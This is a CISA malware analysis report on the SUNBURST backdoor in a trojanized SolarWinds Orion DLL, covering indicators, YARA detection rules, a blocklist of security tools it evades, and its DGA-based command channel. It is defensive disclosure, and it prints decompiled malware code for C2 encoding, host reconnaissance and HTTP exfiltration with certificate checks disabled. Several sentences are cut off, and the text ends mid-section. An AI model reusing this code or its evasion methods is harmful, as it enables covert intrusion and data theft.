MAR-10318845-1.v1 - SUNBURST

us-cert.cisa.gov/ncas/analysis-reports/ar21-039a

Updated April 15, 2021: The U.S. Government attributes this activity to the Russian Foreign Intelligence Service (SVR). Additional information may be found in a statement from the White House. For more information on SolarWinds-related activity, go to https://us-cert.cisa.gov/remediating-apt-compromised-networks and https://www.cisa.gov/supply-chain-compromise.

Malware Analysis Report

10318845.r1.v1

2021-02-05

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of ar information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeab accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distribut For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This report provides detailed analysis of several malicious artifacts associated with a sophisticated supply chain compromise of SolarWinds Orion software, identified by the security company FireEye as SUNBURST.

After being delivered as part of certain SolarWinds updates, a trojanized version of the “solarwinds.orion.core.businesslayer.dll” containing SUNB installed by a legitimate SolarWinds installer application. The modified dynamic-link library (DLL) contains an obfuscated backdoor that allows a re execute various functions on the compromised system, as well as deploy additional payloads and exfiltrate data. The embedded SUNBURST cod communications to the remote operator using XOR encryption and modified Base64 encoding. To maintain a low profile, the SUNBURST code wi certain security software running on the target system.
For a downloadable copy of IOCs, see: MAR-10318845-1.v1.stix.

Submitted Files (4)

019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 (SolarWinds.Orion.Core.Business...)

32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 (SolarWinds.Orion.Core.Business...)

ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6 (SolarWinds.Orion.Core.Business...)

d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600 (SolarWinds-Core-v2019.4.5220-H...)

Domains (1)

avsvmcloud.com

Findings

32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77

Tags

backdoorremote-access-trojantrojan

Details

Name	SolarWinds.Orion.Core.BusinessLayer.dll
Size	1011032 bytes
Type	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	b91ce2fa41029f6955bff20079468448
SHA1	76640508b1e7759e548771a5359eaed353bf1eec
SHA256	32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
SHA512	6a81f082f36ccbda48070772c5a97e1d7de61ad77465e7befe8cbd97df40dcc5da09c461311708e3d57527e323484b05cfd3e72a3c70e
ssdeep	12288:Zx7m/z9aEBzvnvLtYAi6uLlYQ69BBplvF1tjpH7BKi+0A8vca9owQ:6aEBTvRBi6uL6dIvDtjpH9+0A8vca9oD
Entropy	5.582827

Antivirus

Ahnlab	Backdoor/Win32.SunBurst
Antiy	Trojan[Backdoor]/MSIL.Agent
Avira	TR/Sunburst.AO
BitDefender	Trojan.Sunburst.A
Clamav	Win.Countermeasure.Sunburst-9809152-0
Comodo	Backdoor
Cyren	W32/Trojan.BCCG-2955
ESET	a variant of MSIL/SunBurst.A trojan
Emsisoft	Trojan.Win32.Sunburst (A)
Ikarus	Backdoor.Sunburst
K7	Trojan (00574a531)
Lavasoft	Trojan.Sunburst.A
McAfee	Trojan-sunburst
Microsoft Security Essentials	Trojan:MSIL/Solorigate.BR!dha
NANOAV	Trojan.Win32.SunBurst.iduxjk
Sophos	Mal/Sunburst-A
Symantec	Backdoor.Sunburst!gen1
Systweak	trojan-backdoor.sunburst-r
TrendMicro	Backdoo.6F8C6A1E
TrendMicro House Call	Backdoo.6F8C6A1E
Vir.IT eXplorer	Trojan.Win32.SunBurst.A
VirusBlokAda	TScope.Trojan.MSIL
Zillya!	Backdoor.Sunburst.Win32.2

YARA Rules

```
rule CISA_10318927_01 : trojan rat SOLAR_FIRE
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10318927"
    Date = "2020-12-13"
    Last_Modified = "20201213_2145"
    Actor = "n/a"
    Category = "TROJAN RAT"
    Family = "SOLAR_FIRE"
    Description = "This signature is based off of unique strings embedded within the modified Solar Winds app"
    MD5_1 = "b91ce2fa41029f6955bff20079468448"
    SHA256_1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
    MD5_2 = "846e27a652a5e1bfbd0ddd38a16dc865"
    SHA256_2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
  strings:
    $s0 = { 63 00 30 00 6B 00 74 00 54 00 69 00 37 00 4B 00 4C 00 43 00 6A 00 4A 00 7A 00 4D 00 38 00 44 }
    $s1 = { 41 00 41 00 3D 00 3D 00 00 00 21 38 00 33 00 56 00 30 00 64 00 6B 00 78 00 4A 00 4B 00 55 }
    $s2 = { 63 00 2F 00 46 00 77 00 44 00 6E 00 44 00 4E 00 53 00 30 00 7A 00 4B 00 53 00 55 00 30 00 42 00 41 00 41 00 3D 00 3D }
    $s3 = { 53 00 69 00 30 00 75 00 42 00 67 00 41 00 3D 00 00 00 21 38 00 77 00 77 00 49 00 4C 00 6B 00 33 00 4B 00 53 00 79 00 30 00
  condition:
all of them
}
```

- rule FireEye_20_00025668_01 : SUNBURST APT backdoor
  {
    meta:
      Author = "FireEye"
      Date = "2020-12-13"
      Last_Modified = "20201213_1917"
      Actor = "n/a"
      Category = "Backdoor"
      Family = "SUNBURST"
      Description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor r
  xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill p
  delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
      MD5_1 = ""
      SHA256_1 = ""
    strings:
      $cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
      $cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C
  66 5D 7B 31 36 7D }
      $fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
      $fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
      $fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
      $fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
      $fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
      $fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
      $fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
    condition:
      $fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or (($fake_orion_event_encoded or $fake_orion_event_plain) and
  ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_messag
  }

- rule FireEye_20_00025668_02 : SUNBURST APT backdoor
  {
    meta:
      Author = "FireEye"
      Date = "2020-12-13"
      Last_Modified = "20201213_1917"
      Actor = "n/a"
      Category = "Backdoor"
      Family = "SUNBURST"
      Description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking
  code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunct
  intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBUR
  has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set
  tools and services."
      MD5_1 = ""
      SHA256_1 = ""
    strings:
      $a = "0y3Kzy8BAA==" wide
      $aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
      $ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
      $ac = "C88sSs1JLS4GAA==" wide
      $ad = "C/UEAA==" wide
      $ae = "C89MSU8tKQYA" wide
      $af = "8wvwBQA=" wide
      $ag = "cyzIz8nJBwA=" wide
      $ah = "c87JL03xzc/LLMkvysxLBwA=" wide
      $ai = "88tPSS0GAA==" wide
      $aj = "C8vPKc1NLQYA" wide
      $ak = "88wrSS1KS0xOLQYA" wide
      $al = "c87PLcjPS80rKQYA" wide
      $am = "Ky7PLNAvLUjRBwA=" wide
      $an = "06vIzQEA" wide
      $b = "0y3NyyxLLSpOzIlPTgQA" wide
      $c = "001OBAA=" wide
      $d = "0y0oysxNLKqMT04EAA==" wide
      $e = "0y3JzE0tLknMLQAA" wide
      $f = "003PyU9KzAEA" wide
      $h = "0y1OTS4tSk1OBAA=" wide
      $i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
      $j = "c8rPSQEA" wide
      $k = "c8rPSfEsSczJTAYA" wide
      $l = "c60oKUp0ys9JAQA=" wide
      $m = "c60oKUp0ys9J8SxJzMIMBgA=" wide
      $n = "8yxJzMIMBgA=" wide
      $o = "88lMzygBAA==" wide
      $p = "88lMzyjxLEnMyUwGAA==" wide
      $q = "C0pNL81JLAIA" wide
      $r = "C07NzXTKz0kBAA==" wide
      $s = "C07NzXTKz0nxLEnMyUwGAA==" wide
      $t = "yy9IzStOzCsGAA==" wide
      $u = "y8svyQcA" wide
      $v = "SytKTU3LzysBAA==" wide
      $w = "C84vLUpOdc5PSQ0oygcA" wide
      $x = "C84vLUpODU4tykwLKMoHAA==" wide
      $y = "C84vLUpO9UjMC07MKwYA" wide
      $z = "C84vLUpO9UjMC04tykwDAA==" wide
    condition:
      ($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($
  $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and
  and ($am or $an))
  }

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2020-03-24 04:52:34-04:00
Import Hash	dae02f32a21e03ce65412f6e56942daa
Company Name	SolarWinds Worldwide, LLC.
File Description	SolarWinds.Orion.Core.BusinessLayer
Internal Name	SolarWinds.Orion.Core.BusinessLayer.dll
Legal Copyright	Copyright © 1999-2020 SolarWinds Worldwide, LLC. All Rights Reserved.

Original Filename	SolarWinds.Orion.Core.BusinessLayer.dll
Product Name	SolarWinds.Orion.Core.BusinessLayer
Product Version	2019.4.5200.9083

PE Sections

MD5	Name	Raw Size	Entropy
9f1dcf8b4df81fdd1e33e8157fb58d9f	header	512	2.890704
ac9dc455a67c7f2c9f10725d66c115d1	.text	1001472	5.569219
69a064c0b6001299af109ed0d06f6c6f	.rsrc	1536	3.015713
275a7e1f11b8e5fefa163e47c22129b4	.reloc	512	0.101910

Relationships

32519b85c0...	Connected_To	avsvmcloud.com
32519b85c0...	Contained_Within	d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600

Description

This file is a 32-bit .NET DLL named "SolarWinds.Orion.Core.BusinessLayer.dll." It is a modified SolarWinds-signed plugin component of the Orio
that has been patched with the SUNBURST backdoor. This malicious file was signed with a digital certificate issued by Symantec to SolarWinds.
should be considered compromised.

--Begin Digital Certificate Information--
Signer: CN="Solarwinds Worldwide, LLC", O="Solarwinds Worldwide, LLC", L=Austin, S=Texas, C=US
Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=SymantecCorporation, C=US
SN: 0FE973752022A606ADF2A36E345DC0ED
Not Before: 1/20/2020 7:00:00 PM
Not After: 1/20/2023 6:59:59 PM
Thumbprint: 47D92D49E6F7F296260DA1AF355F941EB25360C4
Status: Valid
StatusMsg: Signature verified.
--End Digital Certificate Information--

SUNBURST provides the following capabilities on a compromised system, which are discussed in further detail below.

- Sets a 12 to 14 day delayed execution time
- Stealth
- Command and Control (C2) communication
- Collect system information
- Upload system information from the victim system
- Run specified tasks
- Terminate processes
- Download, read, write, move, delete, and execute files
- Compute file hashes
- Reboot the system
- Adjust process privileges

DELAYED EXECUTION
SUNBURST is executed by a legitimate SolarWinds software application designed to load and run SolarWinds plugins. Once installed, it compare
randomly generated value between 288 and 336 hours (12 - 14 days) after the file was written. The malware will sleep until this calculated time fra
which, the malware will begin C2 sessions to retrieve and execute commands or "Jobs" on behalf of the adversary.

STEALTH
SUNBURST uses obfuscated blocklists consisting of hashed process and service names to identify analysis tools and antivirus software compone
processes, services, and drivers. It utilizes a modified version of the FNV-1a hash algorithm to determine if specific processes are running on the
enumerate and hash the process names of all running processes and compare the generated hashes to a hard-coded blocklist. If no block-listed p
will attempt to resolve the domain "api.solarwinds.com" to test for network connectivity. If a block-listed process is found, it does not proceed with
evasion technique is used to keep it from being detected. The hard coded hashed process names are stored in an unsigned LONG list named "as
See "**BLOCK LIST CHECKING FUNCTIONS**" below in this report for details.

--Begin hard-coded list of block-listed processes and names--
1475579823244607677 100-continue
2734787258623754862 accept
1368907909245890092 afwserv
16858955978146406642 apac.lab
2597124982561782591 apimonitor-x64
2600364143812063535 apimonitor-x86
6195833633417633900 aswengsrv
2934149816356927366 aswidsagent
13029357933491444455 aswidsagenta

15194901817027173566 atrsdfw.sys
4821863173800309721 autopsy
13464308873961738403 autopsy64
3320026265773918739 autoruns
12969190449276002545 autoruns64
10657751674541025650 autorunsc
12094027092655598256 autorunsc64
2760663353550280147 avastavwrapper
8146185202538899243 avastsvc
11818825521849580123 avastui
11109294216876344399 avgadminclientservice
2797129108883749491 avgidsagent
3660705254426876796 avgsvc
3890794756780010537 avgsvca
3890769468012566366 avgsvcx
12709986806548166638 avgui
14095938998438966337 avgwdsvcx
13611051401579634621 avp
18147627057830191163 avpui
16423314183614230717 bccavsvc
11913842725949116895 binaryninja
5449730069165757263 blacklight
12679195163651834776 brcow_x_x_x_x.sys
16144657739388842903 brfilter.sys
11385275378891906608 carbonblack
13693525876560827283 carbonblackk
17204844226884380288 cavp
5984963105389676759 cb
17849680105131524334 cbcomms
18246404330670877335 cbstream
292198192373389586 cff explorer
14226582801651130532 close
11266044540366291518 connection
6116246686670134098 content-type
10734127004244879770 cork.lab
18159703063075866524 crexecprev.sys
11771945869106552231 csagent
9234894663364701749 csdevicecontrol
9061219083560670602 csfalconcontainer
8698326794961817906 csfalconservice
12790084614253405985 cutter
16570804352575357627 cve.sys
17097380490166623672 cybkerneltracker.sys
16066522799090129502 date
5219431737322569038 de4dot
15535773470978271326 debugview
11073283311104541690 dev.local
3626142665768487764 dgdmk.sys
7810436520414958497 diskmon
4030236413975199654 dmz.local
13316211011159594063 dnsd
13825071784440082496 dnspy
14480775929210717493 dotpeek32
14482658293117931546 dotpeek64
8473756179280619170 dumpcap
15587050164583443069 eamonm
12718416789200275332 eaw.sys
9559632696372799208 eelam
607197993339007484 egui
14513577387099045298 eguiproxy
4931721628717906635 ehdrv
14079676299181301772 ekbdflt
3200333496547938354 ekrn
2589926981877829912 ekrnepfw
8727477769544302060 emea.sales
17939405613729073960 epfw
17997967489723066537 epfwwfp
3778500091710709090 evidence center
8799118153397725683 exeinfope
8873858923435176895 expect
13783346438774742614 f-secure filter
16112751343173365533 f-secure gatekeeper
17624147599670377042 f-secure gatekeeper handler starter
3425260965299690882 f-secure hips
16066651430762394116 f-secure network request broker
2380224015317016190 f-secure recognizer
13655261125244647696 f-secure webui daemon
12027963942392743532 fakedns

576626207276463000 fakenet
9384605490088500348 fe_avk
15092207615430402812 feelam
6274014997237900919 fekern
3320767229281015341 fewscservice
7412338704062093516 ffdec
682250828679635420 fiddler
13014156621614176974 fileinsight
18150909006539876521 floss
5587557070429522647 fnrb32
12445177985737237804 fsaua
12445232961318634374 fsaus
17017923349298346219 fsav32
9333057603143916814 fsbts
541172992193764396 fsdevcon
10393903804869831898 fsdfw
3413052607651207697 fses
3407972863931386250 fsfw
10545868833523019926 fsgk32
521157249538507889 fsgk32st
3421213182954201407 fsma
15039834196857999838 fsma32
3421197789791424393 fsms
3413886037471417852 fsni
17978774977754553159 fsorsp
14243671177281069512 fsorspclient
14055243717250701608 fssm32
7315838824213522000 fsvista
14971809093655817917 fswebuid
10336842116636872171 gdb
6943102301517884811 groundling32.sys
13544031715334011032 groundling64.sys
397780960855462669 hexisfsmonitor.sys
13260224381505715848 hiew32
12785322942775634499 hiew32demo
17956969551821596225 hollows_hunter
14256853800858727521 idaq
8709004393777297355 idaq64
8129411991672431889 idr
15514036435533858158 if-modified-since
15997665423159927228 ildasm
10829648878147112121 ilspy
9149947745824492274 jd-gui
13852439084267373191 keep-alive
17633734304611248415 ksde
13581776705111912829 ksdeui
4578480846255629462 lab.brno
8381292265993977266 lab.local
3796405623695665524 lab.na
5942282052525294911 lab.rio
17984632978012874803 libwamf.sys
3656637464651387014 lordpe
2717025511528702475 lragentmf.sys
10501212300031893463 microsoft.tri.sensor
155978580751494388 microsoft.tri.sensor.updater
5183687599225757871 msmpeng
10063651499895178962 mssense
3575761800716667678 officemalscanner
4501656691368064027 ollydbg
7701683279824397773 pci.local
10296494671777307979 pdfstreamdumper
14630721578341374856 pe-bear
6461429591783621719 pe-sieve32
6508141243778577344 pe-sieve64
4088976323439621041 pebrowse64
9531326785919727076 peid
10235971842993272939 pestudio
2478231962306073784 peview
9903758755917170407 pexplorer
14710585101020280896 ppee
2810460305047003196 procdump
13611814135072561278 procdump64
2032008861530788751 processhacker
6491986958834001955 procexp
27407921587843457 procexp64
2128122064571842954 procmon
10484659978517092504 prodiscoverbasic
2532538262737333146 psanhost

835151375515278827 psepfilter.sys
6088115528707848728 psuamain
4454255944391929578 psuaservice
8478833628889826985 py2exedecompiler
10463926208560207521 r2agent
7080175711202577138 rabin2
8697424601205169055 radare2
16130138450758310172 ramcapture
7775177810774851294 ramcapture64
700598796416086955 redcloak
9007106680104765185 referer
506634811745884560 reflector
18294908219222222902 regmon
3588624367609827560 resourcehacker
9555688264681862794 retdec-ar-extractor
5415426428750045503 retdec-bin2llvmir
3642525650883269872 retdec-bin2pat
13135068273077306806 retdec-config
3769837838875367802 retdec-fileinfo
191060519014405309 retdec-getsig
1682585410644922036 retdec-idr2pat
7878537243757499832 retdec-llvmir2hll
13799353263187722717 retdec-macho-extractor
1367627386496056834 retdec-pat2yara
12574535824074203265 retdec-stacofin
16990567851129491937 retdec-unpacker
8994091295115840290 retdec-yarac
13876356431472225791 rundotnetdll
18392881921099771407 rvsavd.sys
5132256620104998637 saas.swi
11801746708619571308 safe-agent.sys
14968320160131875803 sbiesvc
14868920869169964081 scdbg
106672141413120087 scylla_x64
79089792725215063 scylla_x86
16335643316870329598 sense
12343334044036541897 sentinelmonitor.sys
5614586596107908838 shellcode_launcher
17291806236368054941 solarwinds.businesslayerhost
3869935012404164040 solarwindsdiagnostics
15267980678929160412 swdev.dmz
1109067043404435916 swdev.local
14111374107076822891 sysmon
3538022140597504361 sysmon64
7175363135479931834 tanium
3178468437029279937 taniumclient
13599785766252827703 taniumdetectengine
6180361713414290679 taniumendpointindex
8612208440357175863 taniumtracecli
8408095252303317471 taniumtracewebsocketclient64
7982848972385914508 task explorer
8760312338504300643 task explorer-64
17351543633914244545 tcpdump
7516148236133302073 tcpvcon
15114163911481793350 tcpview
7574774749059321801 user-agent
15457732070353984570 vboxservice
16292685861617888592 win32_remote
10374841591685794123 win64_remotex64
3045986759481489935 windbg
917638920165491138 windefend
17109238199226571972 windump
5945487981219695001 winhex
6827032273910657891 winhex64
8052533790968282297 winobj
17574002783607647274 wireshark
3341747963119755850 x32dbg
14193859431895170587 x64dbg
15695338751700748390 xagt
640589622539783622 xagtnotif
17683972236092287897 xwforensics
17439059603042731363 xwforensics64
--End hard-coded list of block-listed processes and names--

COMMAND AND CONTROL
During runtime, SUNBURST hashes its own parent process name, and compares it to the value 17291806236368054941. If it does not match, th
“OrionImprovementBusinessLayer” will stop executing and the DLL will continue normal activity.

When communicating with its C2, SUNBURST utilizes the Orion Improvement Program (OIP) protocol to disguise network activity as normal Sola
The connection with the C2 server will contain a randomly generated “customer ID" that allows the adversary to track different compromised syste

To establish C2, it will construct and resolve the subdomains of "avsvmcloud.com" using a domain generation algorithm (DGA). The following form
the domain name:

--Begin format of the domain name--
.appsync-api.eu-west-1.avsvmcloud.com
.appsync-api.us-west-2.avsvmcloud.com
.appsync-api.us-east-1.avsvmcloud.com
.appsync-api.us-east-2.avsvmcloud.com
--End format of the domain name--

It will attempt to make a Canonical Name (CNAME) query according to different third-level domain names in combination with the DGA to verify th
accessible before executing its command control session.

--Begin domain names combined with DGA--
6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud.com
7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com
gq1h856599gqh538acqn.appsync-api.us-west-2.avsvmcloud.com
ihvpgv9psvq02ffo77et.appsync-api.us-east-2.avsvmcloud.com
k5kcubuassl3alrf7gm3.appsync-api.eu-west-1.avsvmcloud.com
mhdosoksaccf9sni9icp.appsync-api.eu-west-1.avsvmcloud.com
--End domain names plus DGA--

Outbound communications are encrypted using an embedded class named “CryptoHelper.” The class contains two functions named “CreateSecu
“Base64Encode.” The function “CreateSecureString” creates a random byte and then utilizes this random byte to encode the string provided. The
byte, used as the XOR key, will be stored at offset 0x00 of the encoded string -- allowing the adversary to decrypt the traffic received from this imp
“CreateSecureString” takes two arguments, a byte array which will be the data targeted for encryption and a bool variable. If this variable is set to
“OR” the generated “XOR” key byte with the value 128 before using it to XOR encode the provided data. It then calls the Base64Encode function
communication.

--Begin CreateSecureString Function--
```
private static string CreateSecureString(byte[] data, bool flag)
      {
         byte[] bytes = new byte[data.Length + 1];
         bytes[0] = (byte)new Random().Next(1, (int)sbyte.MaxValue);
         if (flag)
            bytes[0] |= (byte)128;
         for (int index = 1; index &lt; bytes.Length; ++index)
            bytes[index] = (byte)((uint)data[index - 1] ^ (uint)bytes[0]);
         return Base64Encode(bytes, true);
      }
```
--End CreateSecureString Function--

The Base64Encode function is a modified version of the Base64 algorithm that uses the custom alphabet, "ph2eifo3n5utg1j8d94qrvbmk0sal76c.”
encoding makes it harder to interpret network traffic sent between this malicious implant and the remote C2 server. The custom Base64 alphabet
would be required to decode the network traffic.

--Begin Base64Encode Function--
```
private static string Base64Encode(byte[] bytes, bool rt)
   {
      string str1 = OrionImprovementBusinessLayer.ZipHelper.Unzip("K8gwSs1MyzfOMy0tSTfMskixNCksKkvKzTYoTswxN0sGAA==");
      string str2 = "";
      uint num1 = 0;
      int num2 = 0;
      foreach (byte num3 in bytes)
      {
       num1 |= (uint) num3 &lt;&lt; num2;
       for (num2 += 8; num2 &gt;= 5; num2 -= 5)
       {
          str2 += str1[(int) num1 &amp; 31].ToString();
          num1 &gt;&gt;= 5;
       }
      }
      if (num2 &gt; 0)
      {
       if (rt)
          num1 |= (uint) (new Random().Next() &lt;&lt; num2);
       str2 += str1[(int) num1 &amp; 31].ToString();
      }
      return str2;
   }
```
--End Base64Encode Function--

COLLECT SYSTEM INFORMATION
The collection of system description info is carried out by the CollectSystemDescription function.
It will collect the following information:

Victim domain SID
Domain name
Hostname
Username
Operating System (OS) version
System directory
Environment tick count - the time since the system was last rebooted.

```
public static void CollectSystemDescription(string info, out string result)
{
result = (string) null;
int i = 0;
string domainName = IPGlobalProperties.GetIPGlobalProperties().DomainName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
domainName;
try
{
string str = ((SecurityIdentifier) new NTAccount(domainName,
OrionImprovementBusinessLayer.ZipHelper.Unzip(Administrator)).Translate(typeof
(SecurityIdentifier))).AccountDomainSid.ToString();
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
str;
}
catch
{
result += OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i);
}
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
IPGlobalProperties.GetIPGlobalProperties().HostName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
Environment.UserName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
OrionImprovementBusinessLayer.GetOSVersion(true);
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
Environment.SystemDirectory;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
(object) (int) TimeSpan.FromMilliseconds((double) (uint)
Environment.TickCount).TotalDays;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) + info
+ "\n";
result += OrionImprovementBusinessLayer.GetNetworkAdapterConfiguration();
}
```

The GetNetworkAdapterConfiguration function will gather information on any attached network adapters and their configuration information.

```
private static string GetNetworkAdapterConfiguration()
{
string str = "";
try
{
using (ManagementObjectSearcher managementObjectSearcher = new
ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip(Select *
From Win32_NetworkAdapterConfiguration where IPEnabled=true)))
{
foreach (ManagementObject managementObject in
managementObjectSearcher.Get().Cast<ManagementObject>())
{
str += "\n";
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(Description));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(MACAddress));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DHCPEnabled));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DHCPServer));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSHostName));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSDomainSuffixSearchOrder));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSServerSearchOrder));
```

```
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(IPAddress));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(IPSubnet));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DefaultIPGateway));
}
return str;
}
}
catch (Exception ex)
{
return str + ex.Message;
}
```

UPLOAD SYSTEM INFORMATION
The “UploadSystemDescription” function is used to exfiltrate gathered system information. It parses through HTTP session information to form a f
sent to the remote C2 server. The modified version of the FNV-1a hash algorithm is utilized to hash certain words associated with outbound HTTF
“accept” (Hash: 2734787258623754862) and “content-type” (Hash: 6116246686670134098). It then parses through the provided HTTP session d
values, rather than HTTP strings, to obfuscate the functionality of this code. This obfuscation makes it more difficult to manually or heuristically ide
intent to generate an outbound HTTP session.

```
--Begin UploadSystemDescription Function--
public static void UploadSystemDescription(string[] args, out string result, IWebProxy proxy)
   {
      result = (string) null;
      string requestUriString = args[0];
      string s1 = args[1];
      string s2 = args.Length &gt;= 3 ? args[2] : (string) null;
      string[] strArray = Encoding.UTF8.GetString(Convert.FromBase64String(s1)).Split(new string[3]
      {
       "\r\n",
       "\r",
       "\n"
      }, StringSplitOptions.None);
      HttpWebRequest httpWebRequest1 = (HttpWebRequest) WebRequest.Create(requestUriString);
      HttpWebRequest httpWebRequest2 = httpWebRequest1;
      httpWebRequest2.set_ServerCertificateValidationCallback(httpWebRequest2.get_ServerCertificateValidationCallback() + (RemoteCertificate'
((sender, cert, chain, sslPolicyErrors) =&gt; true));
      httpWebRequest1.Proxy = proxy;
      httpWebRequest1.Timeout = 120000;
      httpWebRequest1.Method = strArray[0].Split(' ')[0];
      foreach (string header in strArray)
      {
       int length = header.IndexOf(':');
       if (length &gt; 0)
       {
          string headerName = header.Substring(0, length);
          string s3 = header.Substring(length + 1).TrimStart((char[]) Array.Empty&lt;char&gt;());
          if (!WebHeaderCollection.IsRestricted(headerName))
          {
           httpWebRequest1.Headers.Add(header);
          }
          else
          {
           switch (OrionImprovementBusinessLayer.GetHash(headerName.ToLower()))
           {
              case 2734787258623754862:
               httpWebRequest1.Accept = s3;
               continue;
              case 6116246686670134098:
               httpWebRequest1.ContentType = s3;
               continue;
              case 7574774749059321801:
               httpWebRequest1.UserAgent = s3;
               continue;
              case 8873858923435176895:
               if (OrionImprovementBusinessLayer.GetHash(s3.ToLower()) == 147557982324460767 7UL)
               {
                  httpWebRequest1.ServicePoint.Expect100Continue = true;
                  continue;
               }
               httpWebRequest1.Expect = s3;
               continue;
              case 9007106680104765185:
```

```
            httpWebRequest1.Referer = s3;
            continue;
           case 11266044540366291518:
            ulong hash = OrionImprovementBusinessLayer.GetHash(s3.ToLower());
            httpWebRequest1.KeepAlive = hash == 13852439084267373191UL || httpWebRequest1.KeepAlive;
            httpWebRequest1.KeepAlive = hash != 14226582801651130532UL &amp;amp;&amp;amp; httpWebRequest1.KeepAlive;
            continue;
           case 15514036435533858158:
            httpWebRequest1.set_Date(DateTime.Parse(s3));
            continue;
           case 16066522799090129502:
            httpWebRequest1.set_Date(DateTime.Parse(s3));
            continue;
           default:
            continue;
         }
--End UploadSystemDescription Function--
```

SUNBURST contains functions that give it the ability to run specified tasks, terminate processes, delete files, compute file hashes, and reboot the

RUN SPECIFIED TASKS
The "ExecuteEngine" is a core function that uses the “job” variable to carry out certain tasks for the adversary. This function has the ability to run t
of command line arguments, alter the registry (to maintain persistence, etc.), collect a detailed description of the target platform, kill tasks, delete f
execute a secondary payload:

```
